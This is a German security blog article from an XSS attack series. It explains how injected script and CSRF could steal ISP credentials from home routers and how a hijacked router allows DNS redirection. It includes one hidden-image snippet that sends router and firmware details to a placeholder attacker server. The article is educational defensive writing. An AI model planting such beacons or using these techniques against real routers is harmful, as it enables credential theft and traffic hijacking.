Dipl.-Inform. Carsten Eilers

Die möglichen Ziele im lokalen Netz können je nach dessen Größe zum Beispiel (SOHO-)Router, Firewalls oder lokale Server mit für den Angreifer interessanten Daten sein. Schon ein Router enthält für einen Angreifer interessante Informationen: Die Zugangsdaten für den Internet-Zugang. Außerdem gilt: Wer den Router kontrolliert, kontrolliert den Internetverkehr des Opfers. Selbst wenn MitM-Angriffe auf HTTPS-Verbindungen im Allgemeinen am fehlenden MitM-Zertifikat scheitern, kann der Angreifer durch die Manipulation des Netzwerkverkehrs Schaden anrichten. Dazu muss er nur die Einträge für die Nameserver auf Server unter seiner Kontrolle ändern, schon kann er Aufrufe beliebiger Seiten nach seinen Vorstellungen auf eigene Server umleiten.

Fangen wir mit dem Ausspähen der Zugangsdaten für den Internet-Zugang an. Dafür gibt es prinzipiell drei Wege:

1. Einen Cross-Site-Request-Forgery-Angriff,
2. das Ausprobieren von Default-Passwörtern bzw. ein Brute-Force-Angriff auf die Authentifizierung, oder
3. die Ausnutzung bekannter Schwachstellen im Router

Cross-Site-Request-Forgery

Die meisten SOHO-Router werden über eine durch HTTP-Basic-Authentication geschützte Weboberfläche administriert, über die unter anderem die Zugangsdaten für den Internetzugang eingegeben werden. Die vorgenommenen Einstellungen können oft in Form einer Konfigurationsdatei herunter geladen werden. Auch wenn die gespeicherten Zugangsdaten in der Weboberfläche gar nicht oder zum Beispiel als *-Folge angezeigt werden, sind sie in der Konfigurationsdatei enthalten. Und das im Allgemeinen als Klartext.

Damit die Zugangsdaten über einen CSRF-Angriff ausgespäht werden können, müssen mehrere Bedingungen erfüllt sein:

1. Grundvoraussetzung ist natürlich, dass der Router für CSRF anfällig ist und die Zugangsdaten irgendwie gelesen werden können.
2. Außerdem muss der Angreifer seinen XSS-Code in den Webbrowser eines Benutzers einschleusen, der auf die Konfiguration des Routers zugreifen darf.
3. Und dann muss dieser Benutzer am Router angemeldet sein, während der XSS-Code ausgeführt wird. Denn nur so kann seine laufende Sitzung für den Angriff genutzt werden kann.

Auf den ersten Blick erscheint es ziemlich unwahrscheinlich, dass alle Bedingungen gleichzeitig erfüllt sind. Das wäre doch ein sehr großer Zufall, oder? Nicht unbedingt, denn der Angreifer kann dem Zufall auf verschiedene Arten etwas nachhelfen.

Ob CSRF möglich ist oder nicht liegt im Allgemeinen außerhalb des Einflussbereichs des Angreifers. Die NSA könnte Mittel und Wege finden, bestimmte Router gezielt zu manipulieren, ein normaler Cyberkrimineller muss aber nehmen, was er gerade bekommen kann.

Anders sieht es bei der zweiten und dritten Bedingung aus. Um gezielt die Administratoren der Router anzugreifen, könnte der Angreifer zum Beispiel gezielt XSS-Schwachstellen in Websites ausnutzen, die die Router-Nutzer öfter besuchen. Zum Beispiel die Hilfe-Foren oder Anleitungs-Seiten der Router-Hersteller. Oder er könnte selbst eine Webseite zur Lösung eines Router-Problems mit seinem JavaScript-Schadcode darin veröffentlichen. Wenn dann ein Router-Administrator nach einer Problemlösung sucht und auf der präparierten Seite landet, ist schon mal die zweite Bedingung erfüllt: Der JavaScript-Schadcode läuft im Browser eines Router-Admins. Und wenn der gerade nach der Lösung eines Router-Problems sucht, ist er sehr wahrscheinlich auch beim Router angemeldet. Und schon ist der CSRF-Angriff erfolgreich.

Eine andere Möglichkeit besteht in der Ausnutzung einer XSS-Schwachstelle im Router selbst. Nachdem der Angreifer durch den Portscan weiß, mit was für einem Router und evtl. auch noch mit welcher Firmwareversion des Routers er es zu tun hat, kann er sich diese Information an seinen eigenen Server schicken lassen. Das geht zum Beispiel ganz einfach, indem der über XSS eingeschleuste Code nach dem erfolgreichen Portscan ein (angebliches) Bild lädt und dabei die gewünschten Informationen an die URL im SRC-Attribut des IMG-Tags anhängt:

<img src="http://boeser-server.example/kein-bild.php?
router=Der-Router&firmware=Die-Firmware"
 width="0" height="0">

Bilder dürfen nachgeladen werden, der Webbrowser sendet also einen Request zum Holen des angeblichen Bildes an den Server des Angreifers - und dabei die Informationen über Router und Firmware mit. Der Angreifer muss sie nur noch entgegen nehmen. Damit im Browser kein fehlendes Bild angezeigt wird, werden Breite und Höhe des angeblichen Bildes auf 0 gesetzt. Damit in der Statuszeile keine Fehlermeldung wegen des nicht geladenen Bildes erscheint, kann vom Server des Angreifers ein leeres Bild zurückgeliefert werden.

Der Angreifer kennt nun den Router-Typ und dessen Firmware, die IP-Adresse wurde beim Request automatisch mitgeliefert. Enthält die Weboberfläche des Routers eine persistente XSS-Schwachstelle, zum Beispiel beim Anzeigen von Logfiles, hat der Angreifer leichtes Spiel: Er kann seinen XSS-Code in das Logfile einschleusen und in Ruhe warten, bis ein Administrator das nächste Mal das Logfile öffnet. Dann ist er am Router angemeldet, der eingeschleuste Code kann die Zugangsdaten über einen CSRF-Angriff lesen und danach an den Angreifer senden.

Zugegebenermaßen ist dieses Beispiel sehr konstruiert, aber sowohl XSS- als auch CSRF-Schwachstellen kommen in Routern der SOHO-Klasse immer wieder vor. Behoben werden sie meist nur in den gerade aktuellen Modellen.

In der nächsten Folge sehen wir uns an, wie ein Angreifer die Authentifizierung mit Hilfe von Default-Zugangsdaten oder einem Brute-Force-Angriff umgehen kann.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS

Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS

Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy

Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy

Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS

Cross-Site Scripting im Überblick, Teil 5: Resident XSS

XSS-Angriffe, Teil 1: Informationen einschleusen

XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen

XSS-Angriffe, Teil 3: Zugangsdaten ausspähen

XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!

XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN

XSS-Angriffe, Teil 6: Ein verbesserter Portscanner

XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen

XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests

XSS-Angriffe, Teil 9: Der Router im Visier

XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router

XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router

XSS-Angriffe, Teil 12: Browser-basierte Botnets

XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe

XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF